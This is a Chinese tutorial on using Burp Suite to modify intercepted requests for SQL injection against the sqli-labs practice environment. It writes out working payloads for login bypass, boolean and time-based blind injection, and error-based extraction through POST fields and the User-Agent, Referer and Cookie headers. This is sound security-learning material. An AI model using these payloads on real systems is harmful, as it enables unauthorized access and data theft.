使用 Burpsuite 进行POST 方式的SQL注入
文章目录
0x01 Burpsuite介绍
Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报
1.打开浏览器设置代理
Firefox 设置浏览器代理
2.打开 burp suite
点击-Proxy->Intercept,默认intercept 功能是开启的,如果 intercept off 表示关闭,点击一下即可开启
浏览器访问 http://192.168.37.136/sqli-labs/
发现页面已经打不开了,我们回到 burpsuite 页面发现已经截断数据包
我们根据 host:目标主机来判断是否是我们想要的数据包,如果不是可以点击 Forward 放心数据包,Drop 丢弃数据包,我们点击放行
点击放行之后页面正常打开
0x02 POST 方式注入
1.打开 Less-11页面
http://192.168.37.136/sqli-labs/Less-11/
回到Burp Suite 上开启截断
提交表单信息
获取 HTTP 请求
用户名密码信息在这里被提交到服务器进行查询,我们可以使用 burpsuite 来对数据包进行修改,空白处右击选择 Send to Repeter 或者快捷键 Ctrl + R
Repeater-是一个靠手动操作来补发单独的 HTTP 请求,并分析应用程序响应的工具
我们修改表单中提交的内容进行 SQL 注入
原:uname=admin&passwd=123456&submit=Submit
改:uname=admin&passwd=123456\&submit=Submit
我们在密码后面加一个反斜杠(转义符),用来转义 passwd 字段的闭合符号,导致SQL语句报错执行失败。
可以看到我们转义了一个单引号,表示当前位置是使用单引号进行闭合的
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''123456\' LIMIT 0,1' at line 1
-- 您的SQL语法有错误;请检查与您的MariaDB服务器版本相对应的手册,以便在第1行的“123456”限制0,1附近使用正确的语法
我们通过单引号字符注入来构造一个万能密码
uname=admin&passwd=123456'or 1=1 --+&submit=Submit
点击Render 可以查看此web页面
我们可以看出,GET 方式和post 方式 的区别,GET方式 可以明显的 从 URL 中进行注入,POST可以在数据包中进行修改对应的字段来进行 SQL 注入
最后关闭 intercept
0x03 POST 方式的盲注
1.POST 方式的布尔型盲注
1.1 Less-15
说明:用户名密码验证成功则显示
失败显示
开始截断数据包进行SQL注入
浏览器访问 http://192.168.37.136/sqli-labs/Less-15/
开启 intercept
回到 burpsuite 查看
Ctrl +R 发送到 Repeater
修改字段进行SQL 注入根据返回的图片来验证是否满足条件
'and (length(database())=8)--+&passwd=admin&submit=Submit
成功返回 flag.jpg 失败返回 slap.jpg
2.POST 方式的时间盲注
把上面的布尔盲注,改一下,
'and (select if(length(database())>1,sleep(3),null))--+&passwd=admin&submit=Submit
根据 bp 右下角的响应时间来进行判断条件是否满足
if 判断语句解释
if(length(database())>1,sleep(3),null) //条件成功则睡眠3秒,否则直接返回
length(database())>1 //判断条件
sleep(3) //当条件成功时,则执行的内容
null //当条件不成功时执行的内容
0x04 HTTP 头的注入方式
1.HTTP 头注入原理
HTTP 头中的参数被带入数据库中被执行就造成了 HTTP 投注入
MySQL 5.1.5 版本中添加了对 XML 文档进行查询和修改的函数
查询
extractvalue(XML_document,XPath_string); #查询
XML_document:目标 xml 文档
XPath_string:xml 路径
例:extractvalue('<book><author>fengzilin</author></book>','/book/author')
修改
updatexml(XML_document,XPath_string,new_value); #修改
XML_document:目标 xml 文档
XPath_string:xml 路径
new_value:更新的内容
例:extractvalue('<book><author>fengzilin</author></book>','/book/author','fzl')
函数说明:第二个参数 XPath_string 表示 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
2. HTTP User-Agent 注入
Less-18
先分析源代码
[root@localhost ~]# vim /var/www/html/sqli-labs/Less-18/index.php
通过分析发现 Less-18 的代码中对用户的输入进行了过滤,但是并没有对HTTP头信息进行过滤,此时我们对HTTP头中的 User-Agent 进行修改,从而进行SQL注入攻击
我们先截获数据包进行修改,输入用户名和密码截取
访问 http://192.168.37.136/sqli-labs/Less-18/
修改 User-Agent 字段 添加一个 ’ 单引号
正常情况是不会有回显信息的,但是源码中为了方便学习,将SQL语句打印了出来
我们来查询数据库版本信息
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
语法说明
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
'and //用来拼接我们的SQL语句'
updatexml //第一个参数和第三个参数随意写的,第二个参数使用连接查询数据,第二个参数我们查询的字符串不满足 Xpath 格式所以报错
or '1'='1 //(注意这里少一个单引号)闭合最后的单引号否则整条语句报错连接查询不会被执行'
0x7e //是波浪号 ~ 可以修改成其他符号的 16 进制,或者也可以删掉
<!-- extractvalue用法 -->
' or extractvalue(1,concat(0x7e,database())) or '1'= '1
方法如上一致
3.HTTP Referer 注入
Less-19
源码分析:
该出和 Less-18 一样,只是,这里的uagent 换成了 HTTP_REFERER
所以同样存在注入,也支持 updatexml
截取 HTTP 请求
使用单引号测试是否存在注入
1.1 报错注入
Referer: http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1
1.2 盲注测试
Referer: http://192.168.37.136/sqli-labs/Less-19/'or(length(database()))=9 or if(1=1,sleep(3),null) or '1'='1
语句解释:
语句解释:
(length(database())) =9 or if(1=1, sleep(3), null) or '1' = '1 #'语句中三个条件都为逻辑或 当第一个条件不成功时,再执行第二个条件,第二个条也不成功时,则执行第三个。其中有一个条件执行成功时,则不会向后继续执行。
(length(database())) =9 条件不成功,而后执行了 if(1=1, sleep(3), null)条件,该条件中的判断为 1=1,结果永远都是为真的,而后执行 sleep(3),最终页面响应时间是 3 秒
0x05 Cookie 注入
Less-20
浏览器访问:http://192.168.37.136/sqli-labs/Less-20/ 输入 username ,password 输入 admin 并提交
抓取到数据包我们点击放行,我们需要抓取包含 Cookie 信息的 HTTP
需要登录才能,抓取到 Cookie
可以看到正常登录了,在页面中刷新一下页面
回到 Burp Suite 上要可以看到抓到带有 cookie 的请求包,Cookie:uname=admin,然后使用 Ctrl+R 发送到 Repeater
在 Cookie:uname=admin 使用 ‘or’1’=1='1 判断注入点,注意这里少一个单引号,为了不影响SQL语句正常执行
Cookie: uname=admin'or'1'='1
使用 updatexml 报错注入获取数据库名称
Cookie: uname=admin'and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1
最终可以通过 cookie 进行注入成功
总结
本节学习了,使用 burpsuite 改包,从而实现SQL注入